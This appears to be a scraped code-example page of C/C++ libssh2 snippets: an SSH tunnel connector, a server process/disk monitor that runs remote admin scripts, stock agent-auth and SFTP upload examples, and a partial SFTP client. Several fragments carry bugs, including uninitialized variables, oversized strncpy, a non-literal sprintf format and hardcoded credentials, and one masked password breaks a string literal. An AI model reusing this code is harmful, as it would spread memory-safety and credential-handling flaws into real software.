  struct addrinfo hints;
  struct addrinfo *results, *rp;
  int sockfd;
  int i, e;
  struct seashell_connection* result = NULL;

  /* Resolve the host's address.
   * See getaddrinfo(3) for how this works.
   */
  memset(&hints, 0, sizeof(hints));
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = 0;
  hints.ai_protocol = 0;

  e = getaddrinfo(host, "22", &hints, &results);
  if (e != 0) {
    SET_ERROR(TUNNEL_ERROR_RESOLV);
    return NULL;
  }

  for (rp = results; rp != NULL; rp = rp->ai_next) {
    sockfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
    if (sockfd == -1)
      continue;

    if (connect(sockfd, rp->ai_addr, rp->ai_addrlen) != -1)
      break;

    close(sockfd);
  }

  /* Write address that we're connecting to into
   * remote_addr.
   */

  if(rp != NULL) {
    *family = rp->ai_family;

    switch(rp->ai_family) {
      case AF_INET:
        if(inet_ntop(rp->ai_family, &((struct sockaddr_in *)rp->ai_addr)->sin_addr, remote_addr, 128) == NULL) {
          SET_ERROR(TUNNEL_ERROR_RESOLV);
          return NULL;
        }
        break;
      case AF_INET6:
        if(inet_ntop(rp->ai_family, &((struct sockaddr_in6 *)rp->ai_addr)->sin6_addr, remote_addr, 128) == NULL) {
          SET_ERROR(TUNNEL_ERROR_RESOLV);
          return NULL;
        }
        break;
      default:
        SET_ERROR(TUNNEL_ERROR_RESOLV);
        return NULL;
    }
  }

  freeaddrinfo(results);

  /* Either rp == NULL, in which case we failed at connecting,
   * or sockfd holds our socket.
   */
  if (rp == NULL) {
    SET_ERROR(TUNNEL_ERROR_CONNECT);
    return NULL;
  }

  /** Set up the session */
  LIBSSH2_SESSION* session;
  LIBSSH2_CHANNEL* channel;
  LIBSSH2_KNOWNHOSTS* hosts;
  size_t len;
  int type;

  session = libssh2_session_init();
  if (!session) {
    SET_ERROR(TUNNEL_ERROR_SESSION_START);
    goto session_teardown;
  }

  e = libssh2_session_handshake(session, sockfd);
  if (e) {
    SET_ERROR(TUNNEL_ERROR_SESSION_HANDSHAKE);
    goto session_teardown;
  }

  hosts = libssh2_knownhost_init(session);
  if (!hosts) {
    SET_ERROR(TUNNEL_ERROR_HOSTS_FILE);
    goto session_teardown;
  }

  if (!IS_INSTALLED() && access(DEBUG_HOSTS_FILE, F_OK) != -1) {
    libssh2_knownhost_readfile(hosts, DEBUG_HOSTS_FILE, LIBSSH2_KNOWNHOST_FILE_OPENSSH);
  } else {
    libssh2_knownhost_readfile(hosts, HOSTS_FILE, LIBSSH2_KNOWNHOST_FILE_OPENSSH);
  }

  const char* fingerprint = libssh2_session_hostkey(session, &len, &type);
  if (!fingerprint || type == LIBSSH2_HOSTKEY_TYPE_UNKNOWN) {
    libssh2_knownhost_free(hosts);

    SET_ERROR(TUNNEL_ERROR_HOST);
    goto session_teardown;
  }

  struct libssh2_knownhost *hostkey;
  /** NOTE: Documentation is buggy.  hostkey MUST be passed. */
  int check = libssh2_knownhost_check(hosts, host, fingerprint, len,
      LIBSSH2_KNOWNHOST_TYPE_PLAIN | LIBSSH2_KNOWNHOST_KEYENC_RAW, &hostkey);

  if (check != LIBSSH2_KNOWNHOST_CHECK_MATCH) {
    int keytype = 0;

    switch (type) {
      case LIBSSH2_HOSTKEY_TYPE_RSA:
        keytype = LIBSSH2_KNOWNHOST_KEY_SSHRSA;
        break;
      case LIBSSH2_HOSTKEY_TYPE_DSS:
        keytype = LIBSSH2_KNOWNHOST_KEY_SSHRSA;
        break;
    }

    if (keytype) {
      libssh2_knownhost_addc(hosts, host, NULL, fingerprint, len,
          "Generated from Seashell Tunnel", strlen("Generated from Seashell Tunnel"),
            LIBSSH2_KNOWNHOST_TYPE_PLAIN | LIBSSH2_KNOWNHOST_KEYENC_RAW
          | (type == LIBSSH2_HOSTKEY_TYPE_RSA ? LIBSSH2_KNOWNHOST_KEY_SSHRSA : LIBSSH2_KNOWNHOST_KEY_SSHDSS),
          NULL);

      libssh2_knownhost_writefile(hosts, DUMP_FILE, LIBSSH2_KNOWNHOST_FILE_OPENSSH);
      fprintf(stderr, "%s: Check SSH key for %s! Keys written to %s\n", user, host, DUMP_FILE);
    } else {
      fprintf(stderr, "%s: Check SSH key for %s!\n", user, host, DUMP_FILE);
      fprintf(stderr, "%s: Keys not written to file - contact Seashell Maintainers to add support for the LibSSH2 key format %d\n", user, type);
    }

    libssh2_knownhost_free(hosts);

    SET_ERROR(TUNNEL_ERROR_HOST);
    goto session_teardown;
  }
  libssh2_knownhost_free(hosts);

  FPRINTF_IF_DEBUG(stderr, "%s: Host check passed for %s (fingerprint type %d) - ", user, host, type);
  for(i = 0; i < 20; i++) {
    FPRINTF_IF_DEBUG(stderr, "%02X ", (unsigned char)fingerprint[i]);
  }
  FPRINTF_IF_DEBUG(stderr, "\n");

  e = libssh2_userauth_password(session, user, password);
  if (e) {
    FPRINTF_IF_DEBUG(stderr, "%s: Error authenticating: %d\n", user, e);
    SET_ERROR(TUNNEL_ERROR_CREDS);
    goto session_teardown;
  }

  channel = libssh2_channel_open_session(session);
  if (!channel) {
    SET_ERROR(TUNNEL_ERROR_CHANNEL_OPEN);
    goto session_teardown;
  }

  /**
   * Ideally we'd have a subsystem configured,
   * as I don't see a good way of pulling out of ssh2
   * if the target does not exist.
   */
  e = libssh2_channel_exec(channel, target);
  if (e) {
    SET_ERROR(TUNNEL_ERROR_LAUNCH_SEASHELL);
    goto channel_teardown;
  }

  result = malloc(sizeof(struct seashell_connection));
  if (!result) {
    SET_ERROR(TUNNEL_ERROR_SESSION_START);
    goto channel_teardown;
  }

  result->sockfd = sockfd;
  result->session = session;
  result->channel = channel;

  goto end;
channel_teardown:
  libssh2_channel_free(channel);
session_teardown:
  libssh2_session_free(session);
  close(sockfd);
end:
  return result;
}
bool StartLineProcessCollector::collect(MONITORING::leaseProcessStart *sample, StartLineProcessConnector *conn) {

    if (NULL == sample) {
        g_cSystemLogger.LogMessage("(%s:%s:%d):: sample is NULL \n  \n ", LOG_LOCATION);
        return false;
    }
    
    int i=0;
    ItrServerDetails  serIter;
    lineDetails ld;
    g_cSystemLogger.LogMessage("(%s:%s:%d)::cancelid %d \n ", LOG_LOCATION,sample->ip_info[i].CancelOrderId);
    if(sample->ip_info[i].CancelOrderId!=0)
    {
    char buf[50]={0};
    char recvbuf[512]={0};
    int recvLen;
    g_cSystemLogger.LogMessage("(%s:%s:%d):: size of order vector %d \n ",LOG_LOCATION,conn->orderIds.size());
    for(i=0;i<conn->orderIds.size();i++)
    {
   
	//g_cSystemLogger.LogMessage("(%s:%s(:%d)::Inside CancelOrder %d \n", LOG_LOCATION,sample->ip_info[i].CancelOrderId);
        int pos;
        int j;
	pos+=sprintf(buf+5,"%s%d%s","#",conn->orderIds[i],"#");
        g_cSystemLogger.LogMessage("(%s:%s(:%d)::order length %d buf %s \n", LOG_LOCATION,pos,buf);
        char c='0';
        for(j=0;j<=3;j++)
        {
        buf[j]=c;
	//g_cSystemLogger.LogMessage("(%s:%s(:%d)::Inside CancelOrder buf %c \n", LOG_LOCATION,buf[j]);
        }
	char p=(char)(((int)'0')+pos);
        buf[j]=p;
        g_cSystemLogger.LogMessage("(%s:%s(:%d)::Inside CancelOrder buf %s socketId %d \n", LOG_LOCATION,buf,CControllerThread::getInstance()->socketId);
        if(recvLen==write(CControllerThread::getInstance()->socketId,buf,sizeof(buf)))
        {
	   g_cSystemLogger.LogMessage("(%s:%s(:%d)::writeLen %d \n", LOG_LOCATION,recvLen);
           //CControllerThread::getInstance()->makeSocketConnection();
        }
        g_cSystemLogger.LogMessage("(%s:%s(:%d)::write sucessfull writeLen %d \n", LOG_LOCATION,recvLen);

	if(recvLen=recv(CControllerThread::getInstance()->socketId,recvbuf,sizeof(recvbuf),0)<0)
        {
	 g_cSystemLogger.LogMessage("(%s:%s(:%d)::Recv Error \n", LOG_LOCATION);
	}
	g_cSystemLogger.LogMessage("(%s:%s(:%d)::RecvLen %d recvbuf %s \n", LOG_LOCATION,recvLen,recvbuf);
        strncpy(ld.CancelOrderStatus,recvbuf,sizeof(recvbuf)); 
	CcopyStructure::copyCommandData(ld, ld.line_count);
	memset(buf,0,sizeof(buf));
        pos=0;
	sleep(1);
    }
    return true;

   }

else
{
    for(i=0;i<sample->ip_info.length();i++)
{ 
    if(strcmp(sample->ip_info[i].ipadress,"")==0)
 	break;
    LIBSSH2_CHANNEL *channel2;
    LIBSSH2_SESSION *session;
    char* userName;
    char* passWord;
    struct sockaddr_in sin;
    int rc, sock, auth_pw = 0;
    char *exitsignal = (char *) "none";
    size_t lnReturnCode;
    char command[12324] = {0};
    char processes[8024] = {0};

    char *lpUserAuthList;
    g_cSystemLogger.LogMessage("(%s:%s:%d):: Debug", LOG_LOCATION);
    rc = libssh2_init(0);
    
    strcpy(ld.ipadress,sample->ip_info[i].ipadress);
    g_cSystemLogger.LogMessage("(%s:%s:%d)::Sequence Length %d ipadress %s,and psl %s  cancelOrderId %d value of i %d \n", LOG_LOCATION, sample->ip_info._length,sample->ip_info[i].ipadress,sample->ip_info[i].psl,sample->ip_info[i].CancelOrderId,i);
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = inet_addr(sample->ip_info[i].ipadress);
    if (connect(sock, (struct sockaddr*) (&sin),
            sizeof (struct sockaddr_in)) != 0) {
        g_cSystemLogger.LogMessage("(%s:%s(:%d)::failure establishing ssh", LOG_LOCATION);
        return -1;
    }

    session = libssh2_session_init();
    if (libssh2_session_handshake(session, sock)) {
        g_cSystemLogger.LogMessage("(%s:%s(:%d):: failure ssh session initiation", LOG_LOCATION);


    }
   /* if((strcmp(sample->ip_info[i].ipadress,"192.168.30.32")==0)|| (strcmp(sample->ip_info[i].psl,"192.168.30.231")==0))
    {
        userName = "******";
        passWord = "******"; 
    }
    else*/
    
         userName = "******";
         passWord = "******"; 
    
    lpUserAuthList = libssh2_userauth_list(session, userName, strlen(userName));

    if (NULL == lpUserAuthList) {
        g_cSystemLogger.LogMessage("(%s:%s(:%d):: get user auth list failed", LOG_LOCATION);

    }
    char lcPreferredAuthMethod[20] = "password";
    g_cSystemLogger.LogMessage("(%s:%s(:%d)::authentication methods(%s)", LOG_LOCATION, lpUserAuthList);
    if (strstr(lpUserAuthList, lcPreferredAuthMethod) != NULL) {
        auth_pw |= 1;
        g_cSystemLogger.LogMessage("(%s:%s(:%d)::authentication methods(%d)", LOG_LOCATION, auth_pw);
    }
    if (auth_pw & 1) {
        if (libssh2_userauth_password(session, userName, passWord)) {
            g_cSystemLogger.LogMessage("(%s:%s(:%d)::Authentation by password failed\n", LOG_LOCATION);
        }

        else {
            g_cSystemLogger.LogMessage("(%s:%s(:%d)::Authentation by mint succesded\n", LOG_LOCATION);
        }

    }

    while ((channel2 = libssh2_channel_open_session(session)) == NULL &&
            libssh2_session_last_error(session, NULL, NULL, 0) == LIBSSH2_ERROR_EAGAIN) {
        waitsocket(sock, session);
    }

    if (channel2 == NULL) {
        g_cSystemLogger.LogMessage("(%s:%s(:%d))ssh channel opening fail", LOG_LOCATION);
    }
   
    if(strcmp(sample->ip_info[i].psl,"Process")==0)
    {
       
    g_cSystemLogger.LogMessage("(%s:%s(:%d)) Inside Process", LOG_LOCATION);
    for(serIter=conn->getServerInfo().begin();serIter!=conn->getServerInfo().end();serIter++)
    {  
        g_cSystemLogger.LogMessage("(%s:%s(:%d)) ipadress from iter %s", LOG_LOCATION,serIter->ipAdress);
        tagServerInfo &tagServ = *serIter;
        g_cSystemLogger.LogMessage("(%s:%s(:%d)) ipadress from tagserver %s sampeip %s \n", LOG_LOCATION,tagServ.ipAdress,sample->ip_info[i].ipadress);

        if(strcmp(tagServ.ipAdress,sample->ip_info[i].ipadress)==0)
        {
            int pos=0;
            g_cSystemLogger.LogMessage("(%s:%s(:%d)) tagServ %s sample %s processLen %d \n", LOG_LOCATION,tagServ.ipAdress,sample->ip_info[i].ipadress,tagServ.noOfProcess);
            for(int j=1;j<tagServ.noOfProcess;j++)
            {
            g_cSystemLogger.LogMessage("(%s:%s(:%d)) Process %s \n", LOG_LOCATION,tagServ.processes[j].name);
            if(j==(tagServ.noOfProcess-1))
            {
            sprintf(processes+pos,tagServ.processes[j].name);
            }
            else
            {
            pos+=sprintf(processes+pos,"%s%s",tagServ.processes[j].name,"|");
          
            }
            }
            sprintf(command,"%s %s%s%s%s %s%s%s%s","ps -ef | egrep -v ","\"", "egrep|vi|tail|cat|emacs|more|nohup","\"" ,"| egrep","\"",processes,"\"","| grep -v daemon");
            g_cSystemLogger.LogMessage("(%s:%s(:%d)) command %s", LOG_LOCATION,command);
            
            while ((rc = libssh2_channel_exec(channel2, command)) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock, session);
            
            
        }
           lnReturnCode = libssh2_channel_read(channel2, command, sizeof (command));
           g_cSystemLogger.LogMessage("(%s:%s(:%d)) lnReturnCode %d command %s", LOG_LOCATION,lnReturnCode,command);
           strncpy(ld.processInfo,command,sizeof(command));
            memset(command, 0, sizeof (command));
            libssh2_channel_free(channel2);
            channel2 = NULL; 
        }     
    }
    }
    
    else if((strcmp(sample->ip_info[i].psl,"Space"))==0)
    {
       while ((rc = libssh2_channel_exec(channel2, "df -kh |grep -v grep")) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock, session);
            
        }
        lnReturnCode = libssh2_channel_read(channel2, command, sizeof (command));
        g_cSystemLogger.LogMessage("(%s:%s(:%d)lnReturnCode %d command after executing %s\n", LOG_LOCATION, lnReturnCode, command);
        strcpy(ld.spaceInfo,command);
        memset(command, 0, sizeof (command));
        libssh2_channel_free(channel2);
        channel2 = NULL;
    }
    
    else if((strcmp(sample->ip_info[i].psl,"Line"))==0)
    {
        
        DBConnection lDBConnectionObject;
        char* dbUserName = "******";
        char* dbPassWord = "******";
        char* dbName = "mani";
        char* dbPort = "5432";
        if(0==lDBConnectionObject.getFoPiQueryResult(dbUserName,dbPassWord,dbName,dbPort,sample->ip_info[i].ipadress,ld))
        {
            g_cSystemLogger.LogMessage("(%s:%s(:%d) Failed DB query \n", LOG_LOCATION);
        }
        
        g_cSystemLogger.LogMessage("(%s:%s(:%d) LineId %d Product details %s line count %d\n", LOG_LOCATION,ld.ld[0].fo_id,ld.ld[0].product_details,ld.line_count);
        lDBConnectionObject.Close();
    }
    
    
    iterMap = conn->getPath().find(sample->ip_info[i].ipadress);
    g_cSystemLogger.LogMessage("(%s:%s(:%d))Path %s \n", LOG_LOCATION,iterMap->second.c_str());

    if (sample->ip_info[i].status == true) 
    {

        sprintf(command, "%s%s",iterMap->second.c_str(),"/clear_server.sh >> /tmp/LOGS/cronlog 2>&1 &");

        while ((rc = libssh2_channel_exec(channel2, command)) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock, session);
        }
        lnReturnCode = libssh2_channel_read(channel2, command, sizeof (command));
        g_cSystemLogger.LogMessage("(%s:%s(:%d)lnReturnCode %d command after executing %s\n", LOG_LOCATION, lnReturnCode, command);
        memset(command, 0, sizeof (command));
        libssh2_channel_free(channel2);
        channel2 = NULL;
    }
        
    else if((sample->ip_info[i].status==false) && ((strcmp(sample->ip_info[i].psl,""))==0) && (sample->ip_info[i].CancelOrderId==0))
    {
        sprintf(command, "%s", "cd /home/mint/ga/bin; nohup ./shutdownall.sh >> /tmp/LOGS/cronlog1 2>&1 &");

        g_cSystemLogger.LogMessage("(%s:%s(:%d)%s\n", LOG_LOCATION, command);
        while ((rc = libssh2_channel_exec(channel2, command)) == LIBSSH2_ERROR_EAGAIN) {
            g_cSystemLogger.LogMessage("(%s:%s(:%d) ERROR Running command %d\n", LOG_LOCATION, rc);
            waitsocket(sock, session);
        }

        size_t lnReturnCode;
        lnReturnCode = libssh2_channel_read(channel2, command, sizeof (command));

        g_cSystemLogger.LogMessage("(%s:%s(:%d)lnReturnCode %d commandBuffer %s\n", LOG_LOCATION, lnReturnCode, command);
        memset(command, 0, sizeof (command));
        libssh2_channel_free(channel2);
        channel2 = NULL;
    }
    g_cSystemLogger.LogMessage("(%s:%s(:%d)space %s\n", LOG_LOCATION,ld.spaceInfo);
     CcopyStructure::copyCommandData(ld, ld.line_count);
    }
}
   
       
    return true;
}
Пример #24
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock = -1, i, rc;
    struct sockaddr_in sin;
    const char *fingerprint;
    char *userauthlist;
    LIBSSH2_SESSION *session = NULL;
    LIBSSH2_CHANNEL *channel;
    LIBSSH2_AGENT *agent = NULL;
    struct libssh2_agent_publickey *identity, *prev_identity = NULL;
#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }

    if(argc > 2) {
        username = argv[2];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    /* Ultra basic "connect to port 22 on localhost".  Your code is
     * responsible for creating the socket establishing the connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        fprintf(stderr, "failed to create socket!\n");
        rc = 1;
        goto shutdown;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        goto shutdown;
    }

    /* Create a session instance and start it up. This will trade welcome
     * banners, exchange keys, and setup crypto, compression, and MAC layers
     */
    session = libssh2_session_init();
    if (libssh2_session_handshake(session, sock)) {
        fprintf(stderr, "Failure establishing SSH session\n");
        return 1;
    }

    /* At this point we havn't authenticated. The first thing to do is check
     * the hostkey's fingerprint against our known hosts Your app may have it
     * hard coded, may go to a file, may present it to the user, that's your
     * call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    fprintf(stderr, "Fingerprint: ");
    for(i = 0; i < 20; i++) {
        fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
    }
    fprintf(stderr, "\n");

    /* check what authentication methods are available */
    userauthlist = libssh2_userauth_list(session, username, strlen(username));
    fprintf(stderr, "Authentication methods: %s\n", userauthlist);
    if (strstr(userauthlist, "publickey") == NULL) {
        fprintf(stderr, "\"publickey\" authentication is not supported\n");
        goto shutdown;
    }

    /* Connect to the ssh-agent */
    agent = libssh2_agent_init(session);
    if (!agent) {
        fprintf(stderr, "Failure initializing ssh-agent support\n");
        rc = 1;
        goto shutdown;
    }
    if (libssh2_agent_connect(agent)) {
        fprintf(stderr, "Failure connecting to ssh-agent\n");
        rc = 1;
        goto shutdown;
    }
    if (libssh2_agent_list_identities(agent)) {
        fprintf(stderr, "Failure requesting identities to ssh-agent\n");
        rc = 1;
        goto shutdown;
    }
    while (1) {
        rc = libssh2_agent_get_identity(agent, &identity, prev_identity);
        if (rc == 1)
            break;
        if (rc < 0) {
            fprintf(stderr,
                    "Failure obtaining identity from ssh-agent support\n");
            rc = 1;
            goto shutdown;
        }
        if (libssh2_agent_userauth(agent, username, identity)) {
            fprintf(stderr, "\tAuthentication with username %s and "
                   "public key %s failed!\n",
                   username, identity->comment);
        } else {
            fprintf(stderr, "\tAuthentication with username %s and "
                   "public key %s succeeded!\n",
                   username, identity->comment);
            break;
        }
        prev_identity = identity;
    }
    if (rc) {
        fprintf(stderr, "Couldn't continue authentication\n");
        goto shutdown;
    }

    /* We're authenticated now. */

    /* Request a shell */
    if (!(channel = libssh2_channel_open_session(session))) {
        fprintf(stderr, "Unable to open a session\n");
        goto shutdown;
    }

    /* Some environment variables may be set,
     * It's up to the server which ones it'll allow though
     */
    libssh2_channel_setenv(channel, "FOO", "bar");

    /* Request a terminal with 'vanilla' terminal emulation
     * See /etc/termcap for more options
     */
    if (libssh2_channel_request_pty(channel, "vanilla")) {
        fprintf(stderr, "Failed requesting pty\n");
        goto skip_shell;
    }

    /* Open a SHELL on that pty */
    if (libssh2_channel_shell(channel)) {
        fprintf(stderr, "Unable to request shell on allocated pty\n");
        goto shutdown;
    }

    /* At this point the shell can be interacted with using
     * libssh2_channel_read()
     * libssh2_channel_read_stderr()
     * libssh2_channel_write()
     * libssh2_channel_write_stderr()
     *
     * Blocking mode may be (en|dis)abled with: libssh2_channel_set_blocking()
     * If the server send EOF, libssh2_channel_eof() will return non-0
     * To send EOF to the server use: libssh2_channel_send_eof()
     * A channel can be closed with: libssh2_channel_close()
     * A channel can be freed with: libssh2_channel_free()
     */

  skip_shell:
    if (channel) {
        libssh2_channel_free(channel);
        channel = NULL;
    }

    /* Other channel types are supported via:
     * libssh2_scp_send()
     * libssh2_scp_recv()
     * libssh2_channel_direct_tcpip()
     */

  shutdown:

    libssh2_agent_disconnect(agent);
    libssh2_agent_free(agent);

    if(session) {
        libssh2_session_disconnect(session,
                                   "Normal Shutdown, Thank you for playing");
        libssh2_session_free(session);
    }

    if (sock != -1) {
#ifdef WIN32
        closesocket(sock);
#else
        close(sock);
#endif
    }

    fprintf(stderr, "all done!\n");

    libssh2_exit();

    return rc;
}
Пример #25
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock, i, auth_pw = 1;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    const char *username="******";
    const char *password="******";
    const char *loclfile="sftp_write_nonblock.c";
    const char *sftppath="/tmp/sftp_write_nonblock.c";
    int rc;
    FILE *local;
    LIBSSH2_SFTP *sftp_session;
    LIBSSH2_SFTP_HANDLE *sftp_handle;
    char mem[1024 * 1000];
    size_t nread;
    size_t memuse;
    time_t start;
    long total = 0;
    int duration;

#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        loclfile = argv[4];
    }
    if (argc > 5) {
        sftppath = argv[5];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    local = fopen(loclfile, "rb");
    if (!local) {
        printf("Can't local file %s\n", loclfile);
        return -1;
    }

    /*
     * The application code is responsible for creating the socket
     * and establishing the connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance
        */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* Since we have set non-blocking, tell libssh2 we are non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
        * and setup crypto, compression, and MAC layers
        */
    while ((rc = libssh2_session_handshake(session, sock))
           == LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    /* At this point we havn't yet authenticated.  The first thing to do is
     * check the hostkey's fingerprint against our known hosts Your app may
     * have it hard coded, may go to a file, may present it to the user,
     * that's your call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    printf("Fingerprint: ");
    for(i = 0; i < 20; i++) {
        printf("%02X ", (unsigned char)fingerprint[i]);
    }
    printf("\n");

    if (auth_pw) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            printf("Authentication by password failed.\n");
            goto shutdown;
        }
    } else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                                                         "/home/username/.ssh/id_rsa.pub",
                                                         "/home/username/.ssh/id_rsa",
                                                         password)) ==
               LIBSSH2_ERROR_EAGAIN);
    if (rc) {
            printf("\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

    fprintf(stderr, "libssh2_sftp_init()!\n");
    do {
        sftp_session = libssh2_sftp_init(session);

        if (!sftp_session &&
            (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) {
            fprintf(stderr, "Unable to init SFTP session\n");
            goto shutdown;
        }
    } while (!sftp_session);

    fprintf(stderr, "libssh2_sftp_open()!\n");
    /* Request a file via SFTP */
    do {
        sftp_handle =
        libssh2_sftp_open(sftp_session, sftppath,
                          LIBSSH2_FXF_WRITE|LIBSSH2_FXF_CREAT|LIBSSH2_FXF_TRUNC,
                          LIBSSH2_SFTP_S_IRUSR|LIBSSH2_SFTP_S_IWUSR|
                          LIBSSH2_SFTP_S_IRGRP|LIBSSH2_SFTP_S_IROTH);

        if (!sftp_handle &&
            (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) {
            fprintf(stderr, "Unable to open file with SFTP\n");
            goto shutdown;
        }
    } while (!sftp_handle);

    fprintf(stderr, "libssh2_sftp_open() is done, now send data!\n");

    start = time(NULL);

    memuse = 0; /* it starts blank */
    do {
        nread = fread(&mem[memuse], 1, sizeof(mem)-memuse, local);
        if (nread <= 0) {
            /* end of file */
            if (memuse > 0)
                /* the previous sending is not finished */
                nread = 0;
            else
                break;
        }
        memuse += nread;
        total += nread;

        /* write data in a loop until we block */
        while ((rc = libssh2_sftp_write(sftp_handle, mem, memuse)) ==
               LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock, session);
        }
        if(rc < 0)
            break;

        if(memuse - rc) {
            /* make room for more data at the end of the buffer */
            memmove(&mem[0], &mem[rc], memuse - rc);
            memuse -= rc;
        }
        else
            /* 'mem' was consumed fully */
            memuse = 0;

    } while (rc > 0);

    duration = (int)(time(NULL)-start);

    printf("%ld bytes in %d seconds makes %.1f bytes/sec\n",
           total, duration, total/(double)duration);


    fclose(local);
    libssh2_sftp_close(sftp_handle);
    libssh2_sftp_shutdown(sftp_session);

shutdown:

    while (libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing")
           == LIBSSH2_ERROR_EAGAIN);
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    printf("all done\n");

    libssh2_exit();

    return 0;
}
Пример #26
0
/* sftp协议连接 */
static int sftp_connect(protocol_data_t *protocol, char *host, int port, char *username, 
            char *password)
{
    int rc;
    struct sockaddr_in sin;

    if (protocol == NULL || protocol->protocol_data == NULL || host == NULL
            || username == NULL || password == NULL) {
        return;
    }

    sftp_data_t *data = (sftp_data_t *)protocol->protocol_data;

    data->sock = socket(AF_INET, SOCK_STREAM, 0);
    if (data->sock == -1) {
        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = inet_addr(host);

    rc = unblock_connect(data->sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in));
    if (rc != 0) {
        close(data->sock);
        return -1;
    } 
    
    data->session = libssh2_session_init();
    if(!data->session) {
        close(data->sock);
        return -1;
    }

    rc = libssh2_session_handshake(data->session, data->sock);
    if(rc) {
        close(data->sock);
        return -1;
    }

    rc = libssh2_userauth_password(data->session, username, password);
    if (rc) {
        goto shutdown;
    }

    data->sftp_session = libssh2_sftp_init(data->session);
    if (!data->sftp_session) {
        goto shutdown;
    }

    libssh2_session_set_blocking(data->session, 1);
    
    /* TODO: 赋值 */

    return 0;
        
shutdown:
    libssh2_session_disconnect(data->session, "Normal Shutdown");
    libssh2_session_free(data->session);
    close(data->sock);

    return -1;    
}
Пример #27
0
int FSSftp::CheckSession( int* err, FSCInfo* info )
{

	if ( sshSession ) { return 0; }

	try
	{

		unsigned ip;
		int e;

		if ( !GetHostIp( unicode_to_utf8( _operParam.server.Data() ).data(), &ip, &e ) )
		{
			throw int( e );
		}

		_sock.Create();
		_sock.Connect( ntohl( ip ), _operParam.port );

		sshSession = libssh2_session_init();

		if ( !sshSession ) { throw int( SSH_INTERROR_X3 ); }

		libssh2_session_set_blocking( sshSession, 0 );

		WHILE_EAGAIN_( e, libssh2_session_handshake( sshSession, _sock.Id() ) );

		if ( e ) { throw int( e - 1000 ); }

		FSString userName = "";

		if ( _operParam.user.Data()[0] )
		{
			userName = _operParam.user.Data();
		}
		else
		{
#ifndef _WIN32
			char* ret = getenv( "LOGNAME" );

			if ( ret )
			{
				userName = FSString( sys_charset_id, ret );
				_operParam.user = userName.GetUnicode();

				MutexLock infoLock( &infoMutex );
				_infoParam.user = userName.GetUnicode();
			}

#endif
		};

		char* authList = 0;

		char* charUserName = ( char* )userName.Get( _operParam.charset );

		while ( true )
		{
			authList = libssh2_userauth_list( sshSession, charUserName, strlen( charUserName ) );

			if ( authList ) { break; }

			CheckSessionEagain();
			WaitSocket( info );
		}


		//publickey,password,keyboard-interactive
		static const char passId[] = "password";
		static const char kInterId[] = "keyboard-interactive";


		static unicode_t userSymbol = '@';

		while ( true )
		{
			if ( !strncmp( authList, passId, strlen( passId ) ) )
			{
				FSPromptData data;
				data.visible = false;
				data.prompt = utf8_to_unicode( "Password:"******"SFTP_" ).data(),
				        carray_cat<unicode_t>( userName.GetUnicode(), &userSymbol, _operParam.server.Data() ).data(),
				        &data, 1 ) ) { throw int( SSH_INTERROR_STOPPED ); }

				int ret;
				WHILE_EAGAIN_( ret, libssh2_userauth_password( sshSession,
				                                               ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ),
				                                               ( char* )FSString( data.prompt.Data() ).Get( _operParam.charset ) ) );

